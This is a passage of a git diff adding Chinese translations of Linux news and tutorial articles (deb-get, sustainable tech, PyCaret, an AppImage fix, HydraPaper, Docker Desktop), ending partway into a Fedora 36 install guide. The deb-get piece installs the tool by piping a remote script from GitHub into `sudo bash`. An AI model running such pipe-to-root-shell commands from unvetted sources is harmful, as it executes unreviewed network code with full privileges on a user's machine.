Tool to Help Install 3rd Party Deb Packages.md b/published/202205/20220506 Ubuntu MATE’s Lead Creates a Nifty Tool to Help Install 3rd Party Deb Packages.md new file mode 100644 index 0000000000..351f910f70 --- /dev/null +++ b/published/202205/20220506 Ubuntu MATE’s Lead Creates a Nifty Tool to Help Install 3rd Party Deb Packages.md @@ -0,0 +1,117 @@ +[#]: subject: "Ubuntu MATE’s Lead Creates a Nifty Tool to Help Install 3rd Party Deb Packages" +[#]: via: "https://news.itsfoss.com/deb-get-ubuntu/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14576-1.html" + +Ubuntu MATE 的负责人开发了一个漂亮的工具,专用于安装第三方 deb 包 +====== + +> 这是一个有趣的工具,它可以替代 apt-get 来安装 Ubuntu 上的第三方 deb 包。它应该能帮为你节省时间! + +![deb-get][1] + +Ubuntu MATE 的负责人 **Martin Wimpress** 为 Linux 用户带来了另一个有趣的项目。 + +你可能不知道,这个 Martin 经常开发一些有趣的东西。去年,我们报道了 [Quickemu][2],它通过一个基于 QEMU 的 GUI 工具,帮助用户在 Linux 中创建虚拟机,使这个过程变得简单。 + +现在,他又带来了一个有趣的 `deb-get` 工具,其目标是为第三方 .deb 包模仿 `apt-get` 的支持。 + +让我们来详细了解一下它吧! + +### Deb Get:使用 CLI 无缝安装第三方 deb 包 + +当官方软件库中没有你想安装的软件包时(比如 Google Chrome、Vivaldi 等),你必须先 [添加一个 PPA(非官方/官方)][3] 或者下载 .deb 文件后 [手动安装][4]。 + +如果我现在告诉你,你可以直接在终端中安装它们,就好像官方软件库中有它们一样呢? + +这就是 `deb-get` 工具想要做到的事。 + +通常,当在终端中安装一个软件包时,你会使用下面的命令: + +``` +sudo apt install packagename +``` + +或者 + +``` +sudo apt-get install packagename +``` + +要使用这个工具,你只需把 `apt-get` 替换为 `deb-get`,其他格式保持不变。就像下面这样: + +``` +sudo deb-get install packagename +``` + +举个例子,通常,我们 [在 Linux 上安装 Vivaldi][5] 时需要添加 PPA 或下载 .deb 文件。 + +现在,如果你在系统上配置好了 `deb-get` 工具(**配置指南在本文末尾**),你就可以使用以下命令轻松地安装 Vivaldi: + +``` +sudo deb-get install vivaldi-stable +``` + +![][6] + +另外,类似于 `apt-get upgrade`,你可以使用下面的命令来升级软件包: + +``` +sudo deb-get upgrade +``` + +> **注意:** 虽然 `deb-get` 使安装第三方 .deb 包变得很容易,但它是有限制的,你只能安装它提供的核实列表中的软件。不过,它已经支持许多 [必要的应用程序][7],相信支持的软件包列表很快就会扩大。 + +你也可以使用下面的命令,检查你 `deb-get` 可用软件包的列表: + +``` +sudo deb-get list +``` + +![deb-get][8] + +### 在基于 Ubuntu 的发行版上设置 deb-get + +`deb-get` 工具适用于 Ubuntu 22.04 LTS(我测试过),也应该适用于其他基于 Ubuntu 的发行版。 + +你可以使用下面的命令来安装它: + +``` +sudo apt install curl && curl -sL https://raw.githubusercontent.com/wimpysworld/deb-get/main/deb-get | sudo -E bash -s install deb-get +``` + +或者,你可以在它的 [GitHub 发布页面][9] 手动下载它的 deb 包。 + +要了解更多关于它的信息,以及可用的命令/功能,你可以访问它的 [GitHub 页面][10]。 + +*你怎么看待 deb-get 试图实现支持第三方软件包的 apt-get?你认为它有用吗?请在评论区留言,发表你的看法吧!* + +**来源:OMG!Ubuntu!** + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/deb-get-ubuntu/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/wp-content/uploads/2022/05/deb-get.jpg +[2]: https://itsfoss.com/quickgui/ +[3]: https://itsfoss.com/ppa-guide/ +[4]: https://itsfoss.com/install-deb-files-ubuntu/ +[5]: https://itsfoss.com/install-vivaldi-ubuntu-linux/ +[6]: https://news.itsfoss.com/wp-content/uploads/2022/05/deb-get-vivaldi.jpg +[7]: https://itsfoss.com/essential-linux-applications/ +[8]: https://news.itsfoss.com/wp-content/uploads/2022/05/deb-get-list.jpg +[9]: https://github.com/wimpysworld/deb-get/releases +[10]: https://github.com/wimpysworld/deb-get diff --git a/published/202205/20220508 How open source leads the way for sustainable technology.md b/published/202205/20220508 How open source leads the way for sustainable technology.md new file mode 100644 index 0000000000..3879c16fe1 --- /dev/null +++ b/published/202205/20220508 How open source leads the way for sustainable technology.md @@ -0,0 +1,84 @@ +[#]: subject: "How open source leads the way for sustainable technology" +[#]: via: "https://opensource.com/article/22/5/open-source-sustainable-technology" +[#]: author: "Hannah Smith https://opensource.com/users/hanopcan" +[#]: collector: "lkxed" +[#]: translator: "PeterPan0106" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14625-1.html" + +开源为可持续发展技术提供新思路 +====== + +> 开源和社会对于更为稳定的技术演进的需求具有相同的目标,即实现一个更为可持续的未来。 + +![](https://img.linux.net.cn/data/attachment/album/202205/22/160753zekl2094033e4igr.jpg) + +在可持续发展和环境问题上,目前正在发生明确的变化。关注地球的状况并为之做出努力已经成为主流思想。举个例子,看看基于气候的风险资本主义。气候技术风险投资公司Climate Tech Venture Capital(CTVC)的气候资本名单在过去两年中增加了 [一倍多][2]。涌入的资本表明了人们对解决艰难的气候挑战的愿望和意愿。 + +人们想采取行动,这很好,我持相同态度!但我也看到了一个真正的风险:当人们急于采取行动并参与到其中时,他们可能会不知不觉地卷入洗绿运动中。 + +维基百科对 “洗绿greenwashing” 的定义称其为 “一种营销策略,其中绿色公关和绿色营销被欺骗性地用来说服公众,使其相信一个组织的产品、目标和政策是环保的”。在我看来,洗绿既是有意为之,也是无意中发生的。外面有很多想有所作为的好人,但对复杂的环境系统或围绕可持续发展的问题的深度还不甚了解。 + +我们很容易落入这样的陷阱,即认为通过植树来抵消旅行或数据中心的排放等简单的购买行为会使一些东西变得更加绿色。虽然这些努力是值得提倡的,而且植树是改善可持续发展的一个可行的解决方案,但它们只是一个很好的开端,仍然需要进行更多的努力才能真正产生变革。 + +那么,一个人或一个社区可以做些什么来使数字技术真正地更加可持续? + +“可持续性”对不同的人有不同的含义。我喜欢的最简短的定义来自 1987 年的《布伦特兰报告Bruntland Report》,该报告将其概括为 “既能满足当代的需要,同时又不损及后代满足其需要的发展模式”。可持续发展的核心是优先考虑长期思维。 + +### 可持续发展不仅仅是保护环境 + +在可持续性的定义中,有三个相互关联的关键支柱: + +1. 环境 +2. 经济 / 政策 +3. 社会 + +关于可持续发展的讨论越来越多地被气候危机所主导,这是有道理的。随着我们继续通过不可逆转的生态临界点,减少世界上较富裕国家的碳排放的需求变得越来越紧迫。但真正的可持续性是一套更全面的体系,正如三大支柱所展示的那样。 + +碳排放无疑是可持续性的一部分。许多人认为排放只是一个环境问题。只要从空气中移除更多的碳,一切都会好起来。但社会问题也是可持续性的一部分。谁会受到这些碳排放的影响?谁将承受我们气候变化带来的最大影响?谁因海平面上升而失去了家园,或因天气模式变化而失去了可靠的水源?这就是为什么你可能听说过 “气候正义就是社会正义” 这句话。 + +仅仅把减碳看作是可持续发展会令你的视野被限定在碳上。我经常认为,气候变化是社会在更大范围内错失可持续性的一个症状。相反,关键是要解决首先导致气候变化的根本原因。解决这些问题将使长期解决这些问题成为可能,而短期解决可能只会将问题推向另一个脆弱的边缘。 + +其根本原因很复杂。但是,如果我追根溯源,我看到根源是由西方的主流价值观和旨在延续这些价值观的制度所驱动的。这些价值观是什么呢?一语概之,它们是快速增长和对利润的攫取高于一切。 + +这就是为什么关于可持续性的对话如果不包括社会问题或经济的设计方式,就不会达成真正的解决方案。毕竟,社会和掌握权力的人决定了他们自己的价值观是什么,或者不是什么。 + +### 我能做什么? + +科技领域的许多人目前正致力于解决这些问题,并想知道怎样行动更有意义。一个常见的方法是研究如何优化他们制造的技术,使其更有效地使用电力。世界上 60% 的电力仍然是通过燃烧化石燃料产生的,尽管可再生能源的发电能力不断提高。但从逻辑上讲,使用更少的电力意味着产生更少的碳排放。 + +是的,这是很有意义的,任何人都可以尝试,立即就能生效。当用户加载一个页面时,优化发送的资源,以发送更少的数据,将使用更少的能源。因此,优化服务器,使其在一天中的不同时段运行,例如,当有更多的可再生能源可用时运行,或删除多余信息的旧存储,如分析数据或日志。 + +但考虑到杰文Jevon的悖论:使某样东西更有效率往往会导致使用更多的东西,而不是减少。当人们更容易和更便于使用某样东西时,他们最终会使用更多。在某种角度,这是好的。性能更好的技术是一件好事,有助于提高包容性和触及性,这对社会是有益的。但是,气候变化和可持续性的长期解决方案需要围绕社会和技术之间的关系进行更深入、更令人不适的对话。所有这些技术在为什么和谁服务?它正在加速哪些行为和做法? + +将技术的演进视为进步很正常,一些人认为:技术将把世界从气候变化中拯救出来。一些聪明的人正在通过艰苦卓绝的努力改善这一问题,所以其他人不需要改变他们的方式。问题是,许多社区和生态系统已经在遭受更大的创伤。 + +例如,对更多更高速传输的数据的追求正在导致智利的一些社区没有足够的水来种植农作物。因为数据中心正在使用这些宝贵的水源。移动电话造成的污染有 70% 来自于其制造。制造移动设备并为其提供动力的锂和钴等原材料通常是从弱势的社区中提取的,而这些社区几乎没有能力阻止制造商对其土地的破坏,当然也没有分享所获利润。尽管如此,每两年升级一次手机的做法已经变得很普遍了。 + +### 开源思路引领可持续发展之路 + +现在是时候将数字技术的使用视为一种宝贵的资源,这对地球和(通常已经处于弱势的)社区都有影响。 + +开源社区已经帮助人们认识到有另一种解决方案:开源。开源与我们更广泛的社会为实现更可持续的未来而需要做的事情之间有巨大的相似之处。更加开放和包容是其中的一个关键部分。 + +我们还需要在社会的各个层面进行思维转变,将数字技术视为有代价的增长,而不是我们今天看到的大量廉价和免费的东西。我们需要明智地将其优先用于对于社会而言最为重要的事情。更重要的是,我们需要关注并消除其创造和长期使用所带来的危害,并与社会上的每个人公平地分享其创造的财富,无论他们是否是数字技术的使用者。这些事情不会在一夜之间发生,但它们是我们可以共同推动的事情,以便我们都能长期、可持续地享受数字技术的好处。 + +本文节选自一篇较长的演讲。要想看到演讲的全文或查看幻灯片,请参见《[我们如何使数字技术更具有可持续性][3]》一文。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/5/open-source-sustainable-technology + +作者:[Hannah Smith][a] +选题:[lkxed][b] +译者:[PeterPan0106](https://github.com/PeterPan0106) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/hanopcan +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/pictures/green-780x400.jpg +[2]: https://climatetechvc.substack.com/p/-a-running-list-of-climate-tech-vcs?s=w +[3]: https://opcan.co.uk/talk/wordfest-live-2022 diff --git a/published/202205/20220509 PyCaret- Machine Learning Model Development Made Easy.md b/published/202205/20220509 PyCaret- Machine Learning Model Development Made Easy.md new file mode 100644 index 0000000000..74e081e7bf --- /dev/null +++ b/published/202205/20220509 PyCaret- Machine Learning Model Development Made Easy.md @@ -0,0 +1,158 @@ +[#]: subject: "PyCaret: Machine Learning Model Development Made Easy" +[#]: via: "https://www.opensourceforu.com/2022/05/pycaret-machine-learning-model-development-made-easy/" +[#]: author: "S Ratan Kumar https://www.opensourceforu.com/author/s-ratan/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14607-1.html" + +PyCaret:机器学习模型开发变得简单 +====== + +> 在当今快节奏的数字世界中,机构们使用低代码/无代码(LC/NC)应用来快速构建新的信息系统。本文将介绍 PyCaret,这是一个用 Python 编写的低代码机器学习库。 + +![Featured-image-of-pycaret][1] + +PyCaret 是 R 编程语言中 Caret(分类和回归训练Classification And REgression Training的缩写)包的 Python 版本,具有许多优点。 + +- **提高工作效率:** PyCaret 是一个低代码库,可让你提高工作效率。由于花费更少的时间进行编码,你和你的团队现在可以专注于业务问题。 +- **易于使用:** 这个简单易用的机器学习库将帮助你以更少的代码行执行端到端的机器学习实验。 +- **可用于商业:** PyCaret 是一个可用于商业的解决方案。它允许你从选择的 notebook 环境中快速有效地进行原型设计。 + +你可以在 Python 中创建一个虚拟环境并执行以下命令来安装 PyCaret 完整版: + +``` +pip install pycaret [full] +``` + +机器学习从业者可以使用 PyCaret 进行分类、回归、聚类、异常检测、自然语言处理、关联规则挖掘和时间序列分析。 + +### 使用 PyCaret 构建分类模型 + +本文通过从 PyCaret 的数据仓库中获取 Iris 数据集来解释使用 PyCaret 构建分类模型。 + +我们将使用 Google Colab 环境使事情变得简单,并按照下面提到的步骤进行操作。 + +#### 步骤 1 + +首先,通过给出以下命令安装 PyCaret: + +``` +pip install pycaret +``` + +#### 步骤 2 + +接下来,加载数据集,如图 2 所示: + +![Loading the data set][2] + +``` +from pycaret.datasets import get_data +dataset = get_data('iris')  +(或者) +import pandas as pd +dataset = pd.read_csv('/path_to_data/file.csv') +``` + +#### 步骤 3 + +现在设置 PyCaret 环境,如图 2 所示: + +![PyCaret environment setup][3] + +``` +from pycaret.classification import * +clf1 = setup(data=dataset, target = ‘species’) +``` + +![PyCaret environment setup result][4] + +使用 PyCaret 构建任何类型的模型,环境设置是最重要的一步。默认情况下,`setup()` 函数接受参数 `data`(Pandas 数据帧)和 `target`(指向数据集中的类标签变量)。`setup()` 函数的结果如图 3 所示。 `setup()` 函数默认将 70% 的数据拆分为训练集,30% 作为测试集,并进行数据预处理,如图 3 所示。 + +#### 步骤 4 + +接下来,找到最佳模型,如图 4 所示: + +![Finding the best model][5] + +``` +best = compare_models() +``` + +默认情况下,`compare_models()` 应用十倍交叉验证,并针对具有较少训练时间的不同分类器计算不同的性能指标,如准确度、AUC、召回率、精度、F1 分数、Kappa 和 MCC,如图 4 所示。通过将 `tubro=True` 传递给 `compare_models()` 函数,我们可以尝试所有分类器。 + +#### 步骤 5 + +现在创建模型,如图 5 所示: + +![Creating the model][6] + +``` +lda_model=create_model (‘lda’) +``` + +线性判别分析分类器表现良好,如图 4 所示。因此,通过将 `lda` 传递给 `create_model()` 函数,我们可以拟合模型。 + +#### 步骤 6 + +下一步是微调模型,如图 6 所示。 + +![Tuning the model][7] + +``` +tuned_lda=tune_model(lda_model) +``` + +超参数的调整可以提高模型的准确性。`tune_model()` 函数将线性判别分析模型的精度从 0.9818 提高到 0.9909,如图 7 所示。 + +![Tuned model details][8] + +#### 步骤 7 + +下一步是进行预测,如图 8 所示: + +![Predictions using the tuned model][9] + +``` +predictions=predict_model(tuned_lda) +``` + +`predict_model()` 函数用于对测试数据中存在的样本进行预测。 + +#### 步骤 8 + +现在绘制模型性能,如图 9 所示: + +![Evaluating and plotting the model performance — confusion matrix][10] + +``` +evaluate_model(tuned_lda) +``` + +`evaluate_model()` 函数用于以最小的努力开发不同的性能指标。你可以尝试它们并查看输出。 + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/05/pycaret-machine-learning-model-development-made-easy/ + +作者:[S Ratan Kumar][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/s-ratan/ +[b]: https://github.com/lkxed +[1]: https://www.opensourceforu.com/wp-content/uploads/2022/03/Featured-image-of-pycaret-696x477.jpg +[2]: https://www.opensourceforu.com/wp-content/uploads/2022/03/Figure-1-loading-the-dataset.jpg +[3]: https://www.opensourceforu.com/wp-content/uploads/2022/03/Figure-2-PyCaret-Environment-Setup.jpg +[4]: https://www.opensourceforu.com/wp-content/uploads/2022/03/Figure-3-PyCaret-Environment-Setup-Result.jpg +[5]: https://www.opensourceforu.com/wp-content/uploads/2022/03/Figure-4-Finding-the-best-model.jpg +[6]: https://www.opensourceforu.com/wp-content/uploads/2022/03/Figure-5-Creating-the-model.jpg +[7]: https://www.opensourceforu.com/wp-content/uploads/2022/03/Figure-6-Tuning-the-model.jpg +[8]: https://www.opensourceforu.com/wp-content/uploads/2022/03/Figure-7Tuned-model-details.jpg +[9]: https://www.opensourceforu.com/wp-content/uploads/2022/03/Figure-8-Predictions-using-tuned-model.jpg +[10]: https://www.opensourceforu.com/wp-content/uploads/2022/03/Figure-9-Evaluating-and-ploting-the-model-performance-Confusion-Matrix.jpg diff --git a/published/202205/20220510 Can’t Run AppImage on Ubuntu 22.04- Here’s How to Fix it.md b/published/202205/20220510 Can’t Run AppImage on Ubuntu 22.04- Here’s How to Fix it.md new file mode 100644 index 0000000000..f81697a7bd --- /dev/null +++ b/published/202205/20220510 Can’t Run AppImage on Ubuntu 22.04- Here’s How to Fix it.md @@ -0,0 +1,88 @@ +[#]: subject: "Can’t Run AppImage on Ubuntu 22.04? Here’s How to Fix it" +[#]: via: "https://itsfoss.com/cant-run-appimage-ubuntu/" +[#]: author: "Abhishek Prakash https://itsfoss.com/author/abhishek/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14619-1.html" + +无法在 Ubuntu 22.04 上运行 AppImage?这是解决方法 +====== + +![该图片由 Ryan McGuire 在 Pixabay 上发布](https://img.linux.net.cn/data/attachment/album/202205/21/093854fdcjm47bqyjm6vqz.jpg) + +最近发布的 [Ubuntu 22.04 LTS 充满了新的视觉变化和功能][1]。 + +但与任何其他版本一样,它也存在一些错误和问题。 + +我在 Ubuntu 22.04 中遇到的令人不快的惊喜之一是 AppImage 应用。 + +即使拥有所有正确的权限,AppImage 应用也会拒绝在我新安装的 Ubuntu 22.04 系统中启动。 + +如果你遇到类似的情况,我有个好消息要告诉你。修复非常简单。 + +### 在 Ubuntu 22.04 LTS 中运行 AppImage 应用 + +这里的问题是 Ubuntu 22.04 缺少 [FUSE(用户空间中的文件系统)库][2]。FUSE 库为用户空间程序提供了一个接口,可以将虚拟文件系统导出到 Linux 内核。 + +这就是 [AppImage 在虚拟文件系统上的工作方式][3]。由于缺少这个关键库,AppImage 无法按预期工作。 + +现在你了解了问题的根本原因,让我们看看如何使其工作。 + +#### 第 1 步:安装 libfuse + +在 Ubuntu 中打开终端并使用以下命令安装 FUSE 库支持: + +``` +sudo apt install libfuse2 +``` + +如果你不熟悉终端,那么你需要了解以下内容。它会要求你输入 `sudo` 密码。实际上,那是你的帐户密码。 **当你输入密码时,屏幕上不会显示任何内容**。这是设计使然。只需继续输入密码并输入。 + +![Install libfuse2 in Ubuntu][4] + +#### 第 2 步:确保 AppImage 文件具有正确的文件权限 + +这个不用说了。你需要对下载的应用的 AppImage 文件具有“执行”权限。 + +转到你已下载所需应用的 AppImage 文件的文件夹。右键单击并选择属性Properties。 + +现在转到权限Permissions选项卡并选中“允许将文件作为程序执行Allow executing file as program”选项。 + +![give execute permission to AppImage file][5] + +设置完成后就好了。现在只需双击该文件,它就会按预期运行应用。 + +获取 libfuse 的这个小步骤已经在我的 [安装 Ubuntu 22.04 后推荐要做的事情列表][6] 上了。 + +### 进一步的故障排除提示 + +你的 AppImage 文件仍未运行?你下载的 AppImage 可能会出现一些其他问题,使其无法运行。 + +检查它的一种方法是下载一个已知的应用,如 [Balena Etcher][7] 并查看其 AppImage 文件是否有效。如果这个没问题,那么当你下载的另一个应用的 AppImage 文件无法工作,你可以通过从终端运行 AppImage 文件并分析它显示的错误来深入挖掘。 + +### 对你有用吗? + +继续尝试。如果有效,请给我写个“感谢”。如果仍然没有解决,请在评论部分中提及详细信息,我会尽力帮助你。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/cant-run-appimage-ubuntu/ + +作者:[Abhishek Prakash][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/abhishek/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/ubuntu-22-04-release-features/ +[2]: https://packages.debian.org/sid/libfuse2 +[3]: https://itsfoss.com/use-appimage-linux/ +[4]: https://itsfoss.com/wp-content/uploads/2022/05/install-libfuse2-ubuntu.png +[5]: https://itsfoss.com/wp-content/uploads/2022/05/give-execute-permission-to-appimage-file-800x415.png +[6]: https://itsfoss.com/things-to-do-after-installing-ubuntu-22-04/ +[7]: https://www.balena.io/etcher/ diff --git a/published/202205/20220510 HydraPaper- A Wallpaper Manager for Linux with Multi-Monitor Support.md b/published/202205/20220510 HydraPaper- A Wallpaper Manager for Linux with Multi-Monitor Support.md new file mode 100644 index 0000000000..0064753065 --- /dev/null +++ b/published/202205/20220510 HydraPaper- A Wallpaper Manager for Linux with Multi-Monitor Support.md @@ -0,0 +1,91 @@ +[#]: subject: "HydraPaper: A Wallpaper Manager for Linux with Multi-Monitor Support" +[#]: via: "https://itsfoss.com/hydrapaper/" +[#]: author: "Ankush Das https://itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14616-1.html" + +HydraPaper:一个支持多显示器的 Linux 壁纸管理器 +====== + +> HydraPaper 是一个令人印象深刻的壁纸管理器,适用于 Linux 用户,也支持多显示器设置。让我们仔细看一下。 + +一般而言,你要为你的 Linux 发行版上的每个桌面环境分别设置壁纸。 + +而且,当试图将一个自定义的壁纸集文件夹添加到可选的壁纸范围时,往往会受到限制。此外,遇到多显示器环境时,你无法在你的发行版中为其单独选择壁纸。因此,你需要去寻找一个图形用户界面(GUI)程序来完成这些操作。 + +幸运的是,我偶然发现了一个让 Linux 用户印象深刻的选择,即 **HydraPaper**。 + +### HydraPaper:带有 CLI 接口的开源墙纸管理器 + +![hydrapaper wallpaper manager][1] + +HydraPaper 是一个使用 Python 3 和 GTK 构建的相当有用的壁纸管理器。它可以让你为不同的显示器选择单独的墙纸。 + +虽然它主要是一个 GUI 程序,但你也可以使用命令行执行同样的任务。 + +因此,HydraPaper 是一个同时适用于 GUI 和 CLI 用户的壁纸管理器。 + +![hydrapaper favorites][2] + +它看起来是一个直接的解决方案,有一些简单的功能。让我介绍一下如下的主要亮点。 + +### HydraPaper 的特点 + +![hydrapaper folders][3] + +HydraPaper 可以让你添加自定义壁纸集,组织/选择你想要的文件夹,并方便地挑选壁纸。 + +一些基本的特性包括: + +* 管理文件夹集合(根据需要一键切换它们)。 +* 挑选喜欢的壁纸,并将它们添加到你的最爱集合。 +* 按照你的喜好定位墙纸(缩放、适合黑色背景/模糊、居中等)。 +* 能够从你的收藏中快速设置一个随机壁纸,如果你想这么做的话。 +* 用深色模式自定义壁纸管理器的体验,选择单独保存壁纸,清除缓存,等等。 +* 支持 CLI。 +* 单跨壁纸模式适用于多显示器。 + +![single span mode][4] + +使用起来相当简单。你可以为不同的显示器挑选壁纸,或者使用选项中的单跨壁纸模式,在多显示器之间应用一个壁纸。 + +![hydrapaper options][5] + +你可以选择/添加/删除文件夹,调整位置,添加收藏夹,以及应用深色模式的墙纸。 + +### 在 Linux 中安装 HydraPaper + +你可以在 Flathub 上找到 HydraPaper 的 [Flatpak 包][6],它适合各种 Linux 发行版。如果你是第一次设置对 Flatpak 的支持,你可以参考我们的 [Flatpak 指南][7]。 + +你也可以在 Arch Linux 发行版的 AUR、Fedora 的仓库,以及 Debian(unstable)中找到它。 + +我在 Manjaro Linux 上测试了它,它使用 Flatpak 包工作得很好。 + +要探索更多的选择,你可以前往其 [GitLab 仓库][8]。 + +*你对 HydraPaper 有什么看法?你是否更喜欢用其他东西来管理多显示器设置上的壁纸?请在下面的评论中告诉我你的想法*。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/hydrapaper/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/wp-content/uploads/2022/05/hydrapaper-wallpaper-manager.jpg +[2]: https://itsfoss.com/wp-content/uploads/2022/05/hydrapaper-favorites.jpg +[3]: https://itsfoss.com/wp-content/uploads/2022/05/hydrapaper-folders.png +[4]: https://itsfoss.com/wp-content/uploads/2022/05/single-span-mode.jpg +[5]: https://itsfoss.com/wp-content/uploads/2022/05/hydrapaper-options.jpg +[6]: https://itsfoss.com/what-is-flatpak/ +[7]: https://itsfoss.com/flatpak-guide/ +[8]: https://gitlab.gnome.org/gabmus/hydrapaper diff --git a/published/202205/20220511 Good News! Docker Desktop is Now Here for Linux Users.md b/published/202205/20220511 Good News! Docker Desktop is Now Here for Linux Users.md new file mode 100644 index 0000000000..126917e3d7 --- /dev/null +++ b/published/202205/20220511 Good News! Docker Desktop is Now Here for Linux Users.md @@ -0,0 +1,73 @@ +[#]: subject: "Good News! Docker Desktop is Now Here for Linux Users" +[#]: via: "https://news.itsfoss.com/docker-desktop-linux/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14586-1.html" + +好消息!Docker Desktop 现已支持 Linux +====== + +> 你现在可以在 Linux 上使用 Docker Desktop 无缝地创建容器了!它可在 Debian、Ubuntu 和 Fedora 上使用,并为 Arch Linux 提供了实验性支持。 + +![Docker][1] + +Docker Desktop 是容器化应用程序的最简单的方法。有了它,你就不需要预先设置平台相关环境。 + +你只需要安装 Docker Desktop,就可以开始了。Docker Desktop 附带了许多容器工具,如 Kubernetes、Docker Compose、BuildKit 和漏洞扫描工具。 + +此前,它可用于 Windows 和 macOS,但不支持 Linux 平台。所以,Linux 用户只好直接与 docker 引擎交互,以创建/测试他们的 docker 容器。 + +终于,现在所有 Linux 用户也可以通过 Docker Desktop 来方便地使用 Docker 了。 + +### Linux 版的 Docker Desktop 来了 + +在 Docker 团队关于未来开发/改进的公共路线图中,Linux 版的 [Docker Desktop][2] 是呼声最高的。 + +有了 Linux 版的 Docker Desktop,你终于可以不费吹灰之力地得到跨平台的 Docker 体验。 + +我在这里列出其中一些亮点。现在,作为一名使用 Linux 桌面的开发者,你可以: + +* 使用 Docker 扩展Extension 访问新功能 +* 与 Kubernetes 无缝集成 +* 轻松地管理和组织 数据卷volumes容器containers镜像images + +### 在 Linux 上安装 Docker Desktop + +值得注意的是,目前(在 Linux 上)安装 Docker Desktop 并不算超简单,但也不会十分复杂。 + +Docker 团队计划尽快改进安装和更新过程。 + +截至目前,你可以得到官方支持的 Ubuntu、Debian 和 Fedora 的 deb 或 rpm 包。支持 Arch Linux 的软件包还未开发完成,但已经可以下载来测试了。 + +如果你的桌面环境不是 GNOME 的话,你还需要安装 GNOME 终端。 + +在 Linux 上安装 Docker Desktop 对系统也有整体要求,包括: + +* 64 位 Ubuntu 22.04 LTS、Ubuntu 21.10、Fedora 35、Fedora 36 或 Debian 11。 +* 支持 KVM 虚拟化 +* QEMU 5.2 或更新版本 +* Systemd 系统守护工具 +* GNOME 或 KDE 桌面环境 +* 4GB 的内存 + +至于安装步骤,你可以参照文档中的 [官方说明][3] 进行。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/docker-desktop-linux/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/wp-content/uploads/2022/05/docker-desktop-available-on-linux.jpg +[2]: https://www.docker.com/products/docker-desktop/ +[3]: https://docs.docker.com/desktop/linux/install/ diff --git a/published/202205/20220511 How to Install Fedora 36 Workstation Step by Step.md b/published/202205/20220511 How to Install Fedora 36 Workstation Step by Step.md new file mode 100644 index 0000000000..a6083af705 --- /dev/null +++ b/published/202205/20220511 How to Install Fedora 36 Workstation Step by Step.md @@ -0,0 +1,181 @@ +[#]: subject: "How to Install Fedora 36 Workstation Step by Step" +[#]: via: "https://www.linuxtechi.com/how-to-install-fedora-workstation/" +[#]: author: "Pradeep Kumar https://www.linuxtechi.com/author/pradeep/" +[#]: collector: "lkxed" +[#]: translator: "robsean" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14637-1.html" + +图解 Fedora 36 工作站安装步骤 +====== + +![](https://img.linux.net.cn/data/attachment/album/202205/26/085318lbeqqwwevbzzwb4o.jpg) + +给 Fedora 用户的好消息,Fedora 36 操作系统已经正式发布了。这个发布版本是针对工作站(桌面)和服务器的。下面是 Fedora 36 工作站版的新的特征和改进: + +* GNOME 42 是默认的桌面环境 +* 移除用于支持联网的 ifcfg 文件,并引入秘钥文件来进行配置 +* 新的 Linux 内核版本 5.17 +* 软件包更新为新版本,如 PHP 8.1、gcc 12、OpenSSL 3.0、Ansible 5、OpenJDK 17、Ruby 3.1、Firefox 98 和 LibreOffice 7.3 +* RPM 软件包数据库从 `/var` 移动到了 `/usr` 文件夹。 +* Noto 字体是默认的字体,它将提供更好的用户体验。 + 